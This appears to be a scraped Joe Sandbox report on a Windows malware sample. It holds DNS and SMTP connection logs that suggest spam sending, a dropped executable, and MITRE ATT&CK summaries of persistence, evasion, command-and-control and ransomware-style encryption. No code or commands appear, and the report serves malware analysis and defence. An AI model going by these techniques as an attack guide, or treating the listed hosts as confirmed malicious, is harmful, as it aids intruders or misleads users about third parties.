Source: unknown	DNS traffic detected: query: www.jroy.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: websy.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: awfraser.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: www.owsports.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 89gospel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: avc.com.sa replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: anteph.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: www.ftchat.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: agitz.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: chzko.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftchat.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: polprime.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: www.yumgiskor.kz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cjcagent.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: awal.ws replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: ktenergo.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: toundo.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cpwpb.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: actmin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: someikan.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: clysma.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: www.koz1.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: workplus.hu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: haigh-me.com replaycode: Name error (3)

Source: global traffic	TCP traffic: 192.168.2.3:50064 -> 87.248.97.36:25
Source: global traffic	TCP traffic: 192.168.2.3:50105 -> 142.250.153.27:25
Source: global traffic	TCP traffic: 192.168.2.3:50204 -> 203.0.113.0:25
Source: global traffic	TCP traffic: 192.168.2.3:50203 -> 104.26.7.17:25
Source: global traffic	TCP traffic: 192.168.2.3:50205 -> 164.90.244.158:25
Source: global traffic	TCP traffic: 192.168.2.3:50206 -> 3.130.204.160:25
Source: global traffic	TCP traffic: 192.168.2.3:50211 -> 61.200.81.23:25
Source: global traffic	TCP traffic: 192.168.2.3:50212 -> 103.191.209.76:25
Source: global traffic	TCP traffic: 192.168.2.3:50213 -> 104.24.161.27:25
Source: global traffic	TCP traffic: 192.168.2.3:50215 -> 63.251.106.25:25
Source: global traffic	TCP traffic: 192.168.2.3:50216 -> 104.21.8.75:25
Source: global traffic	TCP traffic: 192.168.2.3:50217 -> 104.21.235.31:25
Source: global traffic	TCP traffic: 192.168.2.3:50218 -> 52.19.230.145:25
Source: global traffic	TCP traffic: 192.168.2.3:50221 -> 213.186.33.16:25
Source: global traffic	TCP traffic: 192.168.2.3:50241 -> 217.69.139.150:25
Source: global traffic	TCP traffic: 192.168.2.3:50240 -> 34.102.136.180:25
Source: global traffic	TCP traffic: 192.168.2.3:50246 -> 173.194.202.26:25
Source: global traffic	TCP traffic: 192.168.2.3:50259 -> 59.106.13.181:25
Source: global traffic	TCP traffic: 192.168.2.3:50258 -> 188.114.97.7:25
Source: global traffic	TCP traffic: 192.168.2.3:50260 -> 133.125.38.187:25
Source: global traffic	TCP traffic: 192.168.2.3:50261 -> 15.197.142.173:25
Source: global traffic	TCP traffic: 192.168.2.3:50263 -> 198.185.159.145:25
Source: global traffic	TCP traffic: 192.168.2.3:50264 -> 185.151.30.147:25
Source: global traffic	TCP traffic: 192.168.2.3:50265 -> 49.212.243.77:25
Source: global traffic	TCP traffic: 192.168.2.3:50267 -> 157.7.107.88:25
Source: global traffic	TCP traffic: 192.168.2.3:50290 -> 103.168.172.217:25
Source: global traffic	TCP traffic: 192.168.2.3:50299 -> 104.20.55.214:25
Source: global traffic	TCP traffic: 192.168.2.3:50300 -> 199.59.243.223:25
Source: global traffic	TCP traffic: 192.168.2.3:50304 -> 69.46.30.77:25
Source: global traffic	TCP traffic: 192.168.2.3:50305 -> 164.92.82.47:25
Source: global traffic	TCP traffic: 192.168.2.3:50312 -> 185.253.212.22:25
Source: global traffic	TCP traffic: 192.168.2.3:50316 -> 142.250.153.26:25
Source: global traffic	TCP traffic: 192.168.2.3:50317 -> 94.100.180.31:25
Source: global traffic	TCP traffic: 192.168.2.3:50320 -> 103.168.172.221:25
Source: global traffic	TCP traffic: 192.168.2.3:50324 -> 173.194.202.27:25
Source: global traffic	TCP traffic: 192.168.2.3:50334 -> 35.172.94.1:25
Source: global traffic	TCP traffic: 192.168.2.3:50347 -> 198.1.81.28:25
Source: global traffic	TCP traffic: 192.168.2.3:50360 -> 211.13.196.162:25
Source: global traffic	TCP traffic: 192.168.2.3:50373 -> 153.120.34.73:25
Source: global traffic	TCP traffic: 192.168.2.3:50381 -> 3.64.163.50:25
Source: global traffic	TCP traffic: 192.168.2.3:50551 -> 154.213.117.166:25
Source: global traffic	TCP traffic: 192.168.2.3:51305 -> 193.70.68.254:25
Source: global traffic	TCP traffic: 192.168.2.3:51448 -> 104.20.220.29:25
Source: global traffic	TCP traffic: 192.168.2.3:51847 -> 104.26.12.244:25
Source: global traffic	TCP traffic: 192.168.2.3:51909 -> 5.134.4.115:25
Source: global traffic	TCP traffic: 192.168.2.3:52221 -> 202.94.166.30:25
Source: global traffic	TCP traffic: 192.168.2.3:55525 -> 89.31.143.1:25
Source: global traffic	TCP traffic: 192.168.2.3:56270 -> 69.89.107.122:25
Source: global traffic	TCP traffic: 192.168.2.3:56578 -> 174.129.25.170:25
Source: global traffic	TCP traffic: 192.168.2.3:56579 -> 54.161.222.85:25
Source: global traffic	TCP traffic: 192.168.2.3:56710 -> 198.54.117.242:25
Source: global traffic	TCP traffic: 192.168.2.3:56849 -> 188.114.96.7:25
Source: global traffic	TCP traffic: 192.168.2.3:56872 -> 35.230.155.43:25
Source: global traffic	TCP traffic: 192.168.2.3:56876 -> 49.212.180.178:25
Source: global traffic	TCP traffic: 192.168.2.3:57067 -> 198.185.159.144:25
Source: global traffic	TCP traffic: 192.168.2.3:57463 -> 194.76.27.77:25
Source: global traffic	TCP traffic: 192.168.2.3:57768 -> 195.96.252.188:25
Source: global traffic	TCP traffic: 192.168.2.3:58416 -> 85.233.160.146:25
Source: global traffic	TCP traffic: 192.168.2.3:60109 -> 183.90.232.24:25
Source: global traffic	TCP traffic: 192.168.2.3:61270 -> 104.21.29.72:25
Source: global traffic	TCP traffic: 192.168.2.3:61289 -> 23.225.40.19:25
Source: global traffic	TCP traffic: 192.168.2.3:61317 -> 65.52.128.33:25
Source: global traffic	TCP traffic: 192.168.2.3:61855 -> 104.21.77.146:25
Source: global traffic	TCP traffic: 192.168.2.3:63125 -> 93.187.206.66:25
Source: global traffic	TCP traffic: 192.168.2.3:63126 -> 202.53.77.146:25
Source: global traffic	TCP traffic: 192.168.2.3:63135 -> 79.124.76.247:25
Source: global traffic	TCP traffic: 192.168.2.3:63139 -> 5.39.75.157:25
Source: global traffic	TCP traffic: 192.168.2.3:63141 -> 135.125.108.170:25
Source: global traffic	TCP traffic: 192.168.2.3:63155 -> 157.7.231.224:25
Source: global traffic	TCP traffic: 192.168.2.3:63166 -> 46.8.8.200:25
Source: global traffic	TCP traffic: 192.168.2.3:63165 -> 178.249.70.75:25
Source: global traffic	TCP traffic: 192.168.2.3:63167 -> 43.255.29.192:25
Source: global traffic	TCP traffic: 192.168.2.3:65127 -> 59.106.13.169:25
Source: global traffic	TCP traffic: 192.168.2.3:50412 -> 51.159.3.117:25
Source: global traffic	TCP traffic: 192.168.2.3:50417 -> 213.142.131.159:25
Source: global traffic	TCP traffic: 192.168.2.3:50422 -> 185.22.232.175:25
Source: global traffic	TCP traffic: 192.168.2.3:50427 -> 13.248.155.104:25
Source: global traffic	TCP traffic: 192.168.2.3:50535 -> 23.236.62.147:25
Source: global traffic	TCP traffic: 192.168.2.3:50548 -> 185.230.63.171:25
Source: global traffic	TCP traffic: 192.168.2.3:50551 -> 108.170.12.50:25
Source: global traffic	TCP traffic: 192.168.2.3:50559 -> 54.39.198.18:25
Source: global traffic	TCP traffic: 192.168.2.3:50606 -> 217.19.254.22:25
Source: global traffic	TCP traffic: 192.168.2.3:50949 -> 104.21.79.166:25
Source: global traffic	TCP traffic: 192.168.2.3:51007 -> 216.177.137.32:25
Source: global traffic	TCP traffic: 192.168.2.3:51063 -> 128.204.134.138:25
Source: global traffic	TCP traffic: 192.168.2.3:51066 -> 76.223.35.103:25
Source: global traffic	TCP traffic: 192.168.2.3:51305 -> 18.197.121.220:25
Source: global traffic	TCP traffic: 192.168.2.3:51340 -> 203.137.75.45:25
Source: global traffic	TCP traffic: 192.168.2.3:51789 -> 151.101.2.132:25
Source: global traffic	TCP traffic: 192.168.2.3:51809 -> 219.94.128.216:25
Source: global traffic	TCP traffic: 192.168.2.3:51824 -> 3.94.41.167:25
Source: global traffic	TCP traffic: 192.168.2.3:51903 -> 85.159.66.62:25
Source: global traffic	TCP traffic: 192.168.2.3:51907 -> 3.18.7.81:25
Source: global traffic	TCP traffic: 192.168.2.3:51922 -> 94.130.164.242:25
Source: global traffic	TCP traffic: 192.168.2.3:52227 -> 13.248.169.48:25
Source: global traffic	TCP traffic: 192.168.2.3:53588 -> 194.143.194.23:25
Source: global traffic	TCP traffic: 192.168.2.3:55019 -> 185.178.208.141:25
Source: global traffic	TCP traffic: 192.168.2.3:55872 -> 76.74.184.61:25
Source: global traffic	TCP traffic: 192.168.2.3:55918 -> 210.140.73.39:25
Source: global traffic	TCP traffic: 192.168.2.3:58459 -> 62.75.251.116:25
Source: global traffic	TCP traffic: 192.168.2.3:58464 -> 153.122.170.15:25
Source: global traffic	TCP traffic: 192.168.2.3:58467 -> 13.56.33.8:25
Source: global traffic	TCP traffic: 192.168.2.3:58469 -> 205.178.189.131:25
Source: global traffic	TCP traffic: 192.168.2.3:58485 -> 93.189.66.202:25
Source: global traffic	TCP traffic: 192.168.2.3:60327 -> 216.69.141.67:25
Source: global traffic	TCP traffic: 192.168.2.3:60346 -> 35.186.238.101:25
Source: global traffic	TCP traffic: 192.168.2.3:60366 -> 91.220.211.163:25

Source: unknown	TCP traffic detected without corresponding DNS query: 198.1.81.28
Source: unknown	TCP traffic detected without corresponding DNS query: 211.13.196.162
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report fs7AQcREFX.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\414045e2d09286d5db2581e0d955d358_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\c5d8393293ce2ba62f117b2c2d55bc3e_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\Users\user\pigalicapi.exe

C:\Users\user\pigalicapi.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Windows Analysis Report
fs7AQcREFX.exe

Function 04004BA0 Relevance: 63.8, APIs: 33, Strings: 3, Instructions: 800
memorysynchronizationCOMMON

Function 040020B0 Relevance: 61.6, APIs: 32, Strings: 3, Instructions: 300
memorystringprocessCOMMON

Function 04001840 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 260
networkfilememoryCOMMON

Function 040047F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 178
encryptionCOMMON

Function 04003B00 Relevance: 23.1, APIs: 8, Strings: 5, Instructions: 302
sleepnetworkCOMMON

Function 04008800 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 113
encryptionCOMMON

Function 04001CA0 Relevance: 21.1, APIs: 14, Instructions: 111
stringprocessCOMMON

Function 04008BB0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 101
encryptionCOMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre